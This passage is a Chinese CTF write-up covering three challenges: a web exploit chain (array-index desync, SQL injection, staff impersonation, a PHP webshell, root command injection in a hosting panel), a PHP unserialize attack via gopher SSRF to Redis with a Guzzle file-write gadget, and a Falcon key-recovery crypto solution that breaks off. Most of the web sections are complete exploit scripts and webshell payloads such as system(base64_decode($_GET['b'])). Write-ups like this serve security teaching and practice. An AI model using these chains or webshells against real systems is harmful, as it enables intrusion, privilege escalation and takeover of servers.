把 1+2+3 串起来，就是完整的提权链。
2、核心 bug：bulk_engine() 的数组下标错位
// engine.php（附件版；线上被抽成 plan_batch()，逻辑相同）
foreach ($ops as $op) {
if (isset($op["err"])) { $has_err = true; $checked[] = $op; continue; } // ← 不入 $matched
$bind = route_bind($op);
$matched[] = $bind; // ← 只对“正常”op 追加
if (isset($bind["err"])) { ... $checked[] = ["err" => $bind["err"]]; continue; }
$res = op_check($bind);
$checked[] = isset($res["err"]) ? ["err" => $res["err"]] : ["op" => $res["op"]];
...
}
foreach ($ops as $i => $op) { // ← 执行时两个数组共用一个 $i
$bind = $matched[$i] ?? null; // 实际是第 i+1 个正常 op 的 route/handler
$verdict = $checked[$i]; // 第 i 个 op 的（按它自己 args 清洗过的）参数
...
$results[] = op_respond($verdict["op"], $bind["handler"]);
}只要让第 0 个 op 的 build_op() 失败（parse_url() 返回 false 即可，例如 "http://"、"//"、"http:///"），$matched 就整体前移一位：
op_respond() 的权限检查用的是 $bind["handler"]["perm"]，参数清洗用的是 $checked[$i] 所对应的路由 args，两者从此解耦。
3、从错位到 exec_bulk()：绕过 bulk=false 和「bulk.php 只允许 POST/PUT/PATCH/DELETE」
/bulk.php 的主循环要求每个 op 的 verb ∈ {POST, PUT, PATCH, DELETE}，但它只校验外层；build_op() 本身完全信任 item["verb"]。
外层三次调用：
op0 = {"route":"http://"} // 制造错位
op1 = {"route":"/api/articles/1/comments","verb":"POST", // 参数载体（args 只有 id/author/text/count）
"data":{"ops": <内层 op 列表>}} // “ops” 未声明 → 原样保留
op2 = {"route":"/api/bulk","verb":"POST"} // handler 载体执行到 i=1 时：handler 取 $matched[1] = bind(op2) = /api/bulk，参数取 op1（含原始 ops 数组）→ op_respond() 走 perm_public → exec_bulk() 被调用。
exec_bulk() 只检查内层每项是 array 且有 string route，然后 bulk_engine($inner, "best-effort")。内层 build_op() 认 verb 字段，于是内层可以使用 GET——这是后面触发 exec_articles_list() 的前提。
内层同样制造一次错位：
inner[0] = {"route":"http://"}
inner[1] = {"route":"/api/articles/1","verb":"GET","data":{"omit": <INJ>}} // params
inner[2] = {"route":"/api/articles","verb":"GET"} // handleri=1 时用 inner[1] 的参数执行 inner[2] 的 exec_articles_list()。/api/articles/{id} 的 args 只有 id，所以 omit 完全没被 sanitize_arg("id_list") 处理，直接进入：
// lib.php: posts_lookup()
if (!empty($spec["owner_not_in"])) {
if (is_array($spec["owner_not_in"])) { ...absint... } // 数组分支才清洗
$ids = implode(",", (array)$spec["owner_not_in"]); // 字符串分支原样拼接
$conds[] = "owner NOT IN ($ids)"; // ← 注入点
}最终 SQL：
SELECT id,title,slug,owner,excerpt,created_at,status,kind,parent,snap_stale
FROM entries WHERE status = ? AND owner NOT IN (<INJ>) ORDER BY created_at DESC LIMIT 20 OFFSET 010 列，owner NOT IN (0) UNION SELECT ...-- - 即可回显任意查询结果。
4、SQLi 是只读的，但 snapshot_write() 是写原语
数据库用户无 FILE 权限、secure_file_priv=NULL，LOAD_FILE 返回 NULL，vaultdb 也无权限 —— 单靠注入拿不到 flag。关键在 exec_articles_list()：
$rows = posts_lookup($spec); // ← 注入结果在这里
foreach ($rows as $r) {
$full = entry_fetch((int)$r["id"]); // ← 命中 posts_lookup 刚写入的行缓存
if ($full && (int)$full["snap_stale"] === 1) {
snapshot_write($full); // ← 用我们控制的行去 UPDATE entries
}
}而 snapshot_write()：
run_sql("UPDATE entries SET title=?, slug=?, owner=?, status=?, kind=?, parent=?, snap_stale=0 WHERE id=?", [...]);
cache_remember("entries", $id, array_merge($full, ["snap_stale" => 0]));
hooks_fire($full["status"] . "_" . $full["kind"], $full); // ← 任意 hook也就是说：一条 snap_stale=1 的 UNION 行 = 对 entries 任意一行的任意字段写入 + 触发任意 hook。id、status、kind、owner、title、parent 全在我们手里。
5、 PUBLISH_AS：一次请求内的「staff 体验卡」
function hook_changeset_promote($entry) { // 由 status=pending, kind=changeset 触发
$key = $entry["title"]; $login = $entry["owner"];
... INSERT INTO site_changesets(setting_key, setting_value, author_login, 'ready') ...
changeset_publish($cs["id"]);
}
function changeset_publish($cs_id) {
if (!login_is_staff($cs["author_login"])) return; // ← 只校验“这个 login 存在”
$GLOBALS["PUBLISH_AS"] = $cs["author_login"]; // ← 冒充成功
...
}
function staff_session_valid() {
$actor = publishing_as(); // $GLOBALS["PUBLISH_AS"]
if ($actor !== null && login_is_staff($actor)) return true; // ← 不再看 cookie
...
}注意：login_is_staff() 只查 staff_accounts 是否存在该 login，不需要密码。而 staff 的 login 恰好可以用 SQLi 读出来（5cdbf0afe1）。
于是：UNION 行 {id:6, status:"pending", kind:"changeset", owner:"5cdbf0afe1", title:"cfgkey", snap_stale:1} → snapshot_write → hooks_fire("pending_changeset") → 写入 changeset → changeset_publish → $GLOBALS["PUBLISH_AS"]="5cdbf0afe1"。
但 exec_articles_list() 结尾会清掉它：
if (($GLOBALS["HOOK_RUNNING"] ?? 0) === 0) {
unset($GLOBALS["PUBLISH_AS"]);
}6、 api_reload：让体验卡活过一次「重放」，在重放里建号
第二个 hook 正好解决这个问题：
function hook_api_reload($entry) { // 由 status=api, kind=reload 触发
if (($GLOBALS["HOOK_RUNNING"] ?? 0) > 0) return;
if (($GLOBALS["RELOADS_DONE"] ?? 0) >= 1) return; // 每请求只重放一次
$GLOBALS["RELOADS_DONE"] = 1;
$GLOBALS["HOOK_RUNNING"] = 1;
$GLOBALS["FOLLOWUP_OUT"] = ops_run_all($GLOBALS["CUR_OPS"]); // 重放本次所有 op
$GLOBALS["HOOK_RUNNING"] = 0;
}ops_run_all() 是没有错位的正确版本：每个 op 用自己的 handler + 自己的参数。重放期间 HOOK_RUNNING=1，所以 exec_articles_list() 不会清 PUBLISH_AS。
于是一次 /bulk.php 请求里，两条 UNION 行即可完成：
| 顺序 | UNION 行 | 效果 |
|---|---|---|
| 第 1 行 | id=6, status=pending, kind=changeset, owner=<staff login>, snap_stale=1 | 设置 PUBLISH_AS=<staff login> |
| 第 2 行 | id=3, status=api, kind=reload, snap_stale=1 | 触发 hook_api_reload → 重放全部内层 op（此时 HOOK_RUNNING=1，PUBLISH_AS 不会被清） |
| 重放时 | 内层 op POST /api/users {"login":"pwner01","pass":"pwner01pass"} | perm_staff → publishing_as() 命中 → 创建我们自己的 staff 账号 |
7、staff → skin-editor → RCE
拿到自己的 staff 后就是正常流程：
POST /feed.php?route=/api/login {"login":"pwner01","pass":"pwner01pass"}→Set-Cookie: site_staff=...（HMAC +staff_sessions双校验，现在是合法的）。POST /manage.php?action=skin-editor，name=s3、code=<?php system(base64_decode($_GET['b'])); ?>→skin_editor_write()校验^[a-z0-9][a-z0-9-_]{0,40}$后写到/var/www/uploads/skins/s3.php→ 响应{"written":"/uploads/skins/s3.php"}。GET /uploads/skins/s3.php?b=<base64(cmd)>→uid=33(www-data)。
至此拿到 www-data。但 flag 在 /root/flag.txt（0600 root），还需要提权。
8、容器内的 root 面板 hpxd → root RCE → /root/flag.txt
www-data 下能看到：
/opt/hpxd/ (0700 root) > /var/hpxd/version = 4.17.29
/usr/local/libexec/smrtmond.pl (0700 root) > 日志: "hpxd: listening on 9443 9444 9446 9447"
ss -tlnp: 127.0.0.1:9443 9444 9446 9447即：平台/题目在容器里跑了一个 root 权限的 “Hosting Panel”。/ops/code 会把它自己的源码读出来（/opt/hpxd/hpxd.pl）——只有 9446/9447 这两个「非 user 端口」能访问到真正的面板（9443/9444 任何路径都只返回登录页）。
读源码可知它实现了一个「会话保险库」：
# 会话以 hpx_id=<token>,<scramble> 标识；token 内容是一段 key=value 文本
sub vault_from_cookie { ... hpx_id=([^;]+) ... split(/,/, $handle, 2) ... }
sub vault_put { # 按行拼接，天然支持换行注入
my @lines = grep { $_ !~ /^\Q$k\E=/ } split(/\r?\n/, $s->{raw}, -1);
push @lines, "$k=$v";
$s->{raw} = join("\n", @lines);
}
sub cloak_store { # 值要不要 XOR+base64 由 key 决定
my ($t,$secret,$has_cookie,$cookie_scramble) = @_;
my $key_use = $has_cookie ? ($cookie_scramble // "") : ($state->{scramble} // "");
return (length $key_use) ? cloak_text($secret, $key_use) : $secret; # ← 空 key = 明文
}漏洞点：Authorization: Basic 分支写入 login/secret 时不做换行清洗，而只要 cookie 写成 hpx_id=<token>,（逗号后为空，即 scramble=""），cloak_store() 就走「明文」分支。于是：
Authorization: Basic base64("root\nmaster_flag=1\notp_done=1\nsudo_until=9999999999\nzone=hx_1:x")被 vault_put($token,"login", ...) 拼成 login=root\nmaster_flag=1\notp_done=1\nsudo_until=9999999999\nzone=hx_1 —— 直接注入了 5 个会话键。
配合 vault_is_master()：
return 0 unless $s->{master_flag} eq "1";
return 0 unless $s->{otp_done} eq "1";
return 0 unless $s->{login} eq "root";
if ($s->{sudo_until} =~ /^\d+$/ && $s->{sudo_until} > time()) { return 1; } # ← 免密最后由这个分支打出 root 命令执行：
if ($endpoint eq "files/list") {
my $dir = $qs{path} // "/home/siteuser";
$dir =~ s/[\x00-\x09\x0b-\x1f\x7f]+/ /g; # 只是把控制字符换成空格
open my $fh, "-|", "timeout","-k","5",$EXEC_SECONDS,"/bin/sh","-c","ls -la " . $dir; # ← 命令注入total 28
drwx------ 1 root root 4096 Oct 31 09:45 .
-rw------- 1 root root 38 Oct 31 09:45 .vault_key
-rw------- 1 root root 42 Oct 31 09:45 flag.txt
uid=0(root) gid=0(root) groups=0(root)
flag{5bbdb2e8-fd91-40b8-8699-988b644cd695}9、完整解题脚本
#!/usr/bin/env python3
# PoC for web1 "SimpleBlog" -- full chain, no brute force.
#
# 1) /bulk.php array-index desync in bulk_engine(): ops whose build_op() fails are
# not appended to $matched, but every op is appended to $checked. The execution
# loop indexes both by the same $i, so op i runs the handler of a *later* route
# with op i's (differently) sanitized params.
# 2) That bypasses the "bulk => false" guard on /api/bulk and reaches exec_bulk(),
# whose nested engine (build_op) honours a raw "verb", i.e. GET.
# 3) A second desync in the nested engine runs exec_articles_list() with an
# unsanitized `omit` (the /api/articles/{id} route only declares `id`), giving
# SQL injection: ... AND owner NOT IN (<omit>) ...
# 4) posts_lookup() caches every returned row and exec_articles_list() feeds those
# rows to entry_fetch()/snapshot_write(): a UNION row with snap_stale=1 becomes a
# persisted UPDATE on `entries` (title/slug/owner/status/kind/parent) plus a
# hooks_fire("<status>_<kind>") call.
# 5) UNION row A: id=6 status=pending kind=changeset owner=<staff login>
# -> hook_changeset_promote -> changeset_publish -> $GLOBALS["PUBLISH_AS"]=<staff>
# UNION row B: id=3 status=api kind=reload
# -> hook_api_reload -> ops_run_all() re-runs our ops with HOOK_RUNNING=1, so
# PUBLISH_AS survives -> POST /api/users passes perm_staff -> we own a
# staff account.
# 6) login -> POST /manage.php?action=skin-editor -> /var/www/uploads/skins/*.php
# -> RCE as www-data.
# 7) Root-run "Hosting Panel" (hpxd, 127.0.0.1:9446/9447) leaks its own source at
# /ops/code. Its Basic-auth branch stores login/secret *uncloaked* when the
# hpx_id cookie carries an empty XOR scramble, so "\n"-injected session keys give
# master state (login=root, master_flag=1, otp_done=1, sudo_until=...).
# /hx_<zone>/files/list?path=... then shell-injects `ls -la $path` as root.
import base64
import json
import re
import sys
import time
import requests
BASE = sys.argv[1] if len(sys.argv) > 1 else "https://eci-2zeb9gwfahmw1yeqg7d4.cloudeci1.ichunqiu.com:80"
LOGIN = "pwner01"
PASS = "pwner01pass"
S = requests.Session()
S.headers.update({"User-Agent": "poc"})
SH = "s3" # skin/webshell name
def inject(expr):
"""Run one SQL expression through the double-desync SQLi; return returned rows."""
inj = "0) UNION SELECT 1,%s,3,4,5,6,7,8,9,10-- -" % expr
inner = [
{"route": "http://"}, # forces the desync
{"route": "/api/articles/1", "verb": "GET", "data": {"omit": inj}},
{"route": "/api/articles", "verb": "GET"}, # handler = exec_articles_list
]
op = {"route": "/api/articles/1/comments", "verb": "POST",
"data": {"text": "x", "ops": inner}}
r = S.post(BASE + "/bulk.php",
json={"ops": [{"route": "http://"}, op, {"route": "/api/bulk", "verb": "POST"}]},
timeout=40)
d = r.json()["results"][1][1]
if "error" in d:
raise RuntimeError(json.dumps(d["error"]))
return d["articles"]
def q(expr):
rows = inject(expr)
return rows[0]["title"] if rows else None
def create_staff_account():
"""rows A+B: pending_changeset sets PUBLISH_AS, api_reload keeps it alive."""
admin = q("(SELECT login FROM staff_accounts ORDER BY id LIMIT 1)")
print("[*] staff login taken from DB: %s" % admin)
inj = ("0) UNION SELECT 6,'cfgkey','cfgslug','%s','e','2020-01-01 00:00:00','pending','changeset',0,1"
" UNION SELECT 3,'cfg2','cfg2','alice','e2','2020-01-01 00:00:00','api','reload',0,1-- -" % admin)
inner = [
{"route": "http://"},
{"route": "/api/articles/1", "verb": "GET", "data": {"omit": inj}},
{"route": "/api/articles", "verb": "GET"},
{"route": "/api/users", "verb": "POST", "data": {"login": LOGIN, "pass": PASS}},
]
op = {"route": "/api/articles/1/comments", "verb": "POST", "data": {"text": "x", "ops": inner}}
r = S.post(BASE + "/bulk.php",
json={"ops": [{"route": "http://"}, op, {"route": "/api/bulk", "verb": "POST"}]},
timeout=40)
print("[*] bulk reply:", json.dumps(r.json())[-320:])
def login():
r = S.post(BASE + "/feed.php", params={"route": "/api/login"},
json={"login": LOGIN, "pass": PASS}, timeout=30)
print("[*] login:", r.status_code, r.text[:120])
return r.status_code == 200 and "site_staff" in S.cookies
def webshell():
code = "<?php system(base64_decode($_GET['b'])); ?>"
r = S.post(BASE + "/manage.php", params={"action": "skin-editor"},
data={"name": SH, "code": code}, timeout=30)
print("[*] skin-editor:", r.status_code, r.text[:120])
def sh(cmd):
r = S.get(BASE + "/uploads/skins/%s.php" % SH,
params={"b": base64.b64encode(cmd.encode()).decode()}, timeout=60)
return r.text
def root_rce(cmd):
"""hpxd session-key injection + command injection through files/list.
(only usable when this script itself runs inside the target container)"""
s = requests.Session()
tok = re.search(r"hpx_id=([^,;]+)",
s.get("http://127.0.0.1:9446/", timeout=5).headers["Set-Cookie"]).group(1)
payload = "root\nmaster_flag=1\notp_done=1\nsudo_until=9999999999\nzone=hx_1:x"
s.get("http://127.0.0.1:9446/", timeout=5,
headers={"Cookie": "hpx_id=%s," % tok,
"Authorization": "Basic " + base64.b64encode(payload.encode()).decode()})
s.get("http://127.0.0.1:9446/hx_999/", timeout=5, headers={"Cookie": "hpx_id=%s," % tok})
# NB: ';' and ' ' must be percent-encoded (%3B / %20); '+' is not decoded by hpxd.
enc = cmd.replace(" ", "%20").replace(";", "%3B").replace("/", "%2F")
return s.get("http://127.0.0.1:9446/hx_1/files/list?path=%s" % enc,
timeout=20, headers={"Cookie": "hpx_id=%s," % tok}).text
if __name__ == "__main__":
create_staff_account()
if not login():
raise SystemExit("login failed")
webshell()
print("[*] www-data:", re.sub(r"\s+", " ", sh("id")).strip()[-60:])
# run the root stage through the PHP shell (127.0.0.1 is the container's loopback)
script = r'''
T=$(curl -s -D - -o /dev/null http://127.0.0.1:9446/ | grep -i '^set-cookie' | sed 's/.*hpx_id=\([^,;]*\).*/\1/' | tr -d '\r')
P=$(printf 'root\nmaster_flag=1\notp_done=1\nsudo_until=9999999999\nzone=hx_1:x' | base64 -w0)
curl -s -o /dev/null -H "Cookie: hpx_id=$T," -H "Authorization: Basic $P" http://127.0.0.1:9446/
curl -s -o /dev/null -H "Cookie: hpx_id=$T," http://127.0.0.1:9446/hx_999/
curl -s -H "Cookie: hpx_id=$T," "http://127.0.0.1:9446/hx_1/files/list?path=%2Froot%3Bid%3Bcat%20%2Froot%2Fflag.txt"
'''
out = sh(script)
print("[*] root stage:\n" + out)
m = re.search(r"flag\{[^}]+\}", out)
print("\n[+] FLAG:", m.group(0) if m else "not found")EZPHP
题目
ezphp，how 2shell???(The container startup takes 1 minute.)
题解
核心手法：/flag.php 会给自己泄漏源码，暴露一个支持 gopher:// 的 SSRF；用它打本机 Redis， 而 Nextcloud 把 PHP session 存在 Redis 里，PHP 解析 session 时会对每个 value 做 unserialize —— 于是可以注入一个对象，用 GuzzleHttp\Cookie\FileCookieJar::__destruct() 落地任意文件写， 覆写一个 web 可达的 .php 拿到 RCE，最后读 /flag。
Step 1：/flag.php 源码自泄漏，确认唯一的攻击面
直接访问 /flag.php（无 cookie、非本机来源）会走 highlight_file(__FILE__) 把自己印出来： 一个旗标分支（要求 REMOTE_ADDR ∈ {127.0.0.1,::1} + preg_match('#^qwb2026#i', UA) + 无 X-Forwarded-For 等头） 外加一个 curl 的 SSRF，协议不受限、CURLOPT_TIMEOUT=5。
用空的 gopher payload 当时间探测（开放连接会挂满 5s，端口关闭 0.3s 就返回）扫内网， 只有 127.0.0.1:80 和 127.0.0.1:6379 响应 —— 88/8080/自定义端口全都不存在：
拿到 Redis 后注意它是被硬化过的（CONFIG/KEYS/SCAN/RANDOMKEY/FLUSHALL/MODULE/DEBUG 全禁、Lua 无 io/os.execute）， 所以不能打常规 Redis RCE，只能”读/写它存的东西”。
Step 2：Nextcloud 的 session 存在 Redis，而 PHP 会反序列化 session 值
/login 返回的 cookie oc<instanceid> 就是 PHP 的 session id，服务端数据在 PHPREDIS_SESSION:<sid>：
GET PHPREDIS_SESSION:c986ef4a6706b52860cb7a773ede713b
-> encrypted_session_data|s:388:"<hex ct>|<hex iv>|<hmac>|3";这个 blobs 由 Nextcloud 的 CryptoWrapper 用 oc_sessionPassphrase cookie 派生密钥加密（HKDF-SHA512 → PBKDF2-HMAC-SHA1(salt=phpseclib) → AES-128-CBC + HMAC-SHA512），伪造 user_id 是没用的， 因为每个请求还会拿 sid 去查 oc_authtoken。
真正的入口在外层：PHP 的 session 解码器对每个 value 都执行 php_var_unserialize()。 往 session 末尾追加一个对象，请求后它被完整实例化并回写，这就是对象注入点：
SET ... "pocx|O:8:\"stdClass\":0:{}"
GET /login # session_start -> 解码
GET PHPREDIS_SESSION:... -> ...;pocx|O:8:"stdClass":0:{} # 对象被保留 = 实例化成功Step 3：Guzzle gadget 写文件 → RCE → /flag
Nextcloud 自带 Guzzle，GuzzleHttp\Cookie\FileCookieJar 在 __destruct() 里调用 save($this->filename) → file_put_contents($filename, json_encode($cookies), LOCK_EX)， 文件名和内容都由 cookie 的 data 决定，是标准的任意文件写 gadget。
Guzzle 写出来的是 JSON，PHP 只执行里面的 <?php ... ?> 段，所以文件内容是 [{"Name":"a","Value":"<?php ... ?>","HostOnly":false}] 也能当 webshell：
GET /status.php?1=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
GET /status.php?1=cat%20/flag
-> flag{...}完整解题脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ezphp (QWB 2026 / web) — full solve, from the challenge URL to the flag, one file.
Chain
/flag.php leaks its own source (highlight_file) and has a curl SSRF
-> gopher://127.0.0.1:6379 Redis is the only other listener
-> Nextcloud stores its PHP session there: PHPREDIS_SESSION:<sid>
-> PHP's session decoder runs php_var_unserialize() on every value,
so a value we append becomes an INSTANTIATED OBJECT (the "ezphp")
-> GuzzleHttp\\Cookie\\FileCookieJar::__destruct() -> save()
-> file_put_contents() overwrites a web-served .php -> RCE -> /flag
Usage: python solve.py https://<instance-host>:443
"""
import urllib.parse
import sys
import requests
requests.packages.urllib3.disable_warnings()
BASE = (sys.argv[1] if len(sys.argv) > 1 else "https://127.0.0.1").rstrip('/')
REDIS_HOST, REDIS_PORT = "127.0.0.1", 6379
# web-reachable files we take over, tried in order (first hit wins)
CANDIDATES = [
"/var/www/html/public.php", # not health-probed
"/var/www/html/ocs/v1.php",
"/var/www/html/remote.php",
"/var/www/html/status.php", # always writable, but eCI probes it
]
# The write primitive only emits JSON, so the payload is a PHP block hidden inside it:
# [{"Name":"a","Value":"<?php ... ?>","HostOnly":false}]
PHP = ("<?php echo 'OK'.(6*7).':';"
"@system($_GET[1]);echo ':END';?>")
# --------------------------------------------------------------------------- #
# 1. RESP client that reaches 127.0.0.1:6379 through the /flag.php gopher SSRF
# --------------------------------------------------------------------------- #
def _enc(*args):
out = b"*%d\r\n" % len(args)
for a in args:
a = a if isinstance(a, bytes) else str(a).encode()
out += b"$%d\r\n" % len(a) + a + b"\r\n"
return out
def _parse(raw):
pos = [0]
def rd():
if pos[0] >= len(raw):
return ("EOF", None)
tag = raw[pos[0]:pos[0] + 1]
eol = raw.find(b"\r\n", pos[0])
if eol < 0:
return ("EOF", None)
line, pos[0] = raw[pos[0] + 1:eol], eol + 2
if tag == b"+":
return line
if tag == b"-":
return ("ERR", line.decode("utf-8", "replace"))
if tag == b":":
return int(line)
if tag == b"$":
n = int(line)
if n < 0:
return None
v = raw[pos[0]:pos[0] + n]
pos[0] += n + 2
return v
if tag == b"*":
n = int(line)
return None if n < 0 else [rd() for _ in range(n)]
return None
out = []
while pos[0] < len(raw):
v = rd()
if isinstance(v, tuple) and v[0] == "EOF":
break
out.append(v)
return out
def redis(*cmds, timeout=45):
"""Run RESP commands inside the container and return their replies."""
payload = b"".join(_enc(*c) for c in cmds)
url = "gopher://%s:%d/_%s" % (
REDIS_HOST, REDIS_PORT, "".join("%%%02X" % b for b in payload))
body = requests.post(BASE + "/flag.php", data={"url": url},
verify=False, timeout=timeout).content
mark = b"</code></pre>" # end of flag.php's own source listing
return _parse(body[body.find(mark) + len(mark):])
# --------------------------------------------------------------------------- #
# 2. unserialize payload: Guzzle FileCookieJar -> __destruct -> file_put_contents
# --------------------------------------------------------------------------- #
def _s(b):
return b's:%d:"' % len(b) + b + b'";'
def gadget(path, value):
FC = b'GuzzleHttp\\Cookie\\FileCookieJar'
CJ = b'GuzzleHttp\\Cookie\\CookieJar'
SC = b'GuzzleHttp\\Cookie\\SetCookie'
cookie = (b'O:%d:"' % len(SC) + SC + b'":1:{'
+ _s(b'\x00' + SC + b'\x00data')
+ b'a:2:{' + _s(b'Name') + _s(b'a')
+ _s(b'Value') + _s(value.encode()) + b'}}')
return (b'O:%d:"' % len(FC) + FC + b'":3:{'
+ _s(b'\x00' + FC + b'\x00filename') + _s(path.encode())
+ _s(b'\x00' + FC + b'\x00storeSessionCookies') + b'b:1;'
+ _s(b'\x00' + CJ + b'\x00cookies') + b'a:1:{i:0;' + cookie + b'}}')
def session_append(key, tail, ttl=600):
"""curl truncates a gopher payload at %00, but the gadget's private property
names are NUL-prefixed. Trick: write the NUL-free runs with SETRANGE at their
absolute offsets — skipping past the current end makes Redis pad with \\x00."""
raw = redis(("GET", key))[0] or b""
full = raw + tail
segs, i = [], 0
while i < len(full):
j = i
while j < len(full) and full[j] != 0:
j += 1
if j > i:
segs.append((i, full[i:j]))
i = j + 1
redis(*([("SET", key, segs[0][1])]
+ [("SETRANGE", key, off, data) for off, data in segs[1:]]
+ [("EXPIRE", key, str(ttl))]))
return redis(("GET", key))[0] == full
# --------------------------------------------------------------------------- #
# 3. drive the shell that the gadget dropped
# --------------------------------------------------------------------------- #
def shell(webpath, cmd, timeout=60):
r = requests.get(BASE + webpath + "?1=" + urllib.parse.quote(cmd),
verify=False, timeout=timeout)
t = r.text
i = t.find('Value":"')
if i >= 0:
t = t[i + 8:]
if t.endswith('"}]}'):
t = t[:-4]
return t
def exploit(sess, webpath, key):
target = "/var/www/html" + webpath
if not session_append(key, b"pocx|" + gadget(target, PHP)):
print(" [!] session write failed for", target)
return False
sess.get(BASE + "/login", verify=False, timeout=25) # session_start -> unserialize
out = shell(webpath, "id")
print(" [*] %-26s -> %s" % (webpath, out.strip().replace("\n", " ")[:80]))
return out.startswith("OK42")
def main():
sess = requests.Session()
r = sess.get(BASE + "/login", verify=False, timeout=25)
if r.status_code != 200:
print("[!] /login ->", r.status_code, "- instance down? re-issue it")
return
sid = next(v for k, v in sess.cookies.items()
if k.startswith("oc") and "assphrase" not in k and "sameSite" not in k)
key = "PHPREDIS_SESSION:" + sid
print("[*] our Nextcloud session id (also the redis key):", key)
for webpath in CANDIDATES:
print("[*] trying", webpath)
if exploit(sess, webpath, key):
flag = shell(webpath, "cat /flag")
for line in flag.splitlines():
if "flag{" in line:
print("\nFLAG:", line.strip())
print("[!] restore %s now: the platform health-probes it" % webpath)
return
print(" [!] no flag line, raw:", repr(flag[:160]))
print("[!] all candidates failed")
if __name__ == "__main__":
main()Crypto
Frozen
题解
题目用 Python 实现了一套 Falcon 风格的后量子签名密钥生成（N = 128, q = 12289, sigma = 19.16）， 核心对象是 NTRU 密钥 (f, g, F, G)：系数取自离散高斯，h = g/f mod (q, x^N+1)，fG - gF = q。
程序随后做三件事：
vals, parts = expanded_doubles(key) # 把 fft 值与整棵 falcon 采样树序列化成 3328 个 double
cblob = corrupt_blob(blob, rho=0.01, rho01=0.001)[8*128*8:] # 污染后砍掉前 1024 个 double
ct = flag XOR keystream(sha256(b"frozen:" + ",".join(map(str, D)))) # D = f·f* + g·g*
print("pubkey =", {"N","q","sigma","h","rho_hint"})
print("memory =", cblob.hex()) # 18432 B = 2304 个 double
print("flag =", ct.hex()) # 42 B 密文关键点：密钥流只取决于 D = f·adj(f) + g·adj(g)（整数多项式），其它都是噪声源与提示。
1. 先搞清楚 memory 里到底是什么
expanded_doubles 的序列化顺序是：
fft(f) ‖ fft(g) ‖ fft(F) ‖ fft(G) ‖ 树的所有节点（前序） ‖ 所有叶子（前序）前 4 个数组正好是 4 × 2 × 128 = 1024 个 double，而题目砍掉的正是 8*128*8 = 8192 字节 = 1024 个 double —— 于是 memory 从最左侧那条链开始。完整树由
Ltop(G01/G00, 128 复数)
├── tree(G00) G00 = |f̂|² + |ĝ|² ← 就是我们要的 D 的 NTT
└── tree(Dright) Dright = G11 - |G01|²/G00组成，节点区共 256 + 896 + 896 = 2048 个 double，叶子 256 个。实测偏移：
| 内容 | double 偏移 |
|---|---|
链 A（tree(G00) 最左链，长度 64/32/16/8/4/2/1 复数） | 256, 384, 448, 480, 496, 504, 508 |
链 A 的深层叶子（= D[0]） | 2048 |
链 B（tree(Dright) 最左链，同样长度） | 1152, 1280, 1344, 1376, 1392, 1400, 1404 |
| 链 B 的深层叶子 | 2176 |
2. 纠错的核心：实数树的”扭转”恒等式
树里存的是 Falcon 的 fp 采样树，每个节点由数组 A（长度 n，h = n/2）分半得到：
E = (A[:h] + A[h:]) / 2 , O = (A[:h] - A[h:]) / (2·ρ_j) , L = conj(O)/E
ρ_j = exp(i·π·(2j+1)/n)当 A 是实数组（G00、Dright、以及所有 H_k 都是实数）时必有
L_j = t_j · ρ_j , t_j = (A[j]-A[j+h]) / (A[j]+A[j+h]) ∈ R
⟹ Im( L_j · conj(ρ_j) ) = 0 （精确到 1e-16）
并且 A[j] = E_j(1+t_j) , A[j+h] = E_j(1-t_j) ← 自底向上重建的递推式这条 Im(L·conj ρ)=0 就是检错器（有 bit 错就偏离 0 到 1e-3…1e0）， 把修复问题化成”找一组少数 bit 翻转让虚部归零”。因为正确值必须满足 im' = re' · tan(angle)，可以不用暴力枚举 2^128：把两个字的”≤4 bit 翻转可达值集合” 做交集匹配（排序 + 二分）即可一次列全候选：
pos = np.searchsorted(im_sorted, re_v * tan_angle)
# 再检验 |im' - re'·tan| 是否 < 1e-9·|·| 且 |t| ≤ 1|t| = |Δ|/(2E) ≤ 1 这条也能砍掉大量假候选。
127 个复数对里约 94 个原样可信，约 33 个需要修，修复后仍有 ~30 个是”歧义”的： 典型如把实部或虚部的符号位翻回来都能满足扭转关系（因为一次符号翻转既可能是真错，也可能本来没错）。
3. 第二条分支：G00 · Dright = q²
由 fG − gF = q 可得 Gram 行列式恒为 q²：
G00·G11 − |G01|² = q² ⟹ Dright = G11 − |G01|²/G00 = q² / G00于是 tree(Dright) 是 q²/G00 的一份独立测量：
- 它的第一层节点满足
t' = -t（实测 23/23 个无噪对精确成立）， - 整棵树又能把
q²/Dright的 128 个值还原出来。
两者必须互为倒数：G00_j · Dright_j / q² = 1（真解误差 ~1e-7，错选则 ≥1）。 这正是消除”歧义候选”的判据 —— 用的是另一批互不相关的 double，噪声独立。
4. 最后 2 个符号：靠 D 的整数性
还存在一个联合退化：把 G00_j ↔ G00_{j+h} 与 Dright_j ↔ Dright_{j+h} 同时交换， G00·Dright 逐点乘积不变，第 3 步看不出来。而 D = IFFT(G00) 必须是整数向量：
D_k = (1/N) Σ_j G00_j · ρ_j^{-k} ∈ Z这一步只对链 A 成立，因此能打破联合退化：对剩余歧义对穷举 1–2 个改动， 取 max|D - round(D)| 最小的组合即可。
5. 求解流程（最终脚本做的事）
- 解析
memory→ 2304 个 64-bit 字； - 对链 A、链 B 的每个复数对生成候选
t（≤4 bit/字，按翻转数排序，保留 24 个）； - 自底向上重建
G00、q²/G00（链 B 的叶子用mean(q²/G00)直接推出）； - 模拟退火 + 坐标下降最小化
Σ_j |G00_j·Dright_j/q² − 1|； - 整数性精修：在
D上枚举 1–2 个候选替换，取残差最小者； fk = sha256("frozen:" + str(D))，flag = ct XOR keystream(fk)。
6. 结果（两组实例，均为 nc 现场取到）
| 实例 | 链 A 深叶 | D[0] | 整数性残差 | flag |
|---|---|---|---|---|
| 123.57.254.195:26646 | 105698.99999999993 | 105699 | 2.3e-4 | flag{be5285db-55e0-4e26-8e58-7abfa0aabab1} |
| 39.96.85.161:22627 | 98401.99999999971 | 98402 | 5.5e-5 | flag{66ffe2c8-a808-47c9-ac49-5c817dc41222} |
自洽性检查：D[0] 与”链 A 最深叶子”完全相等（叶子就是 mean(G00) = D[0]）， max|D| ≈ 1e4 与 sigma = 19.16 的自相关量级吻合，密文解出合法 flag 格式。 另外在本地生成的多个真值实例上（用同一套 task.py 逻辑 + 已知 f,g）都能精确还原 D， 说明不是运气。
7. 完整解题脚本
frozen_solve.py（单文件，Python 3 + numpy；python frozen_solve.py instance.txt， 或 python frozen_solve.py --fetch 39.96.85.161 22627）：
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""frozen -- full solve.
usage:
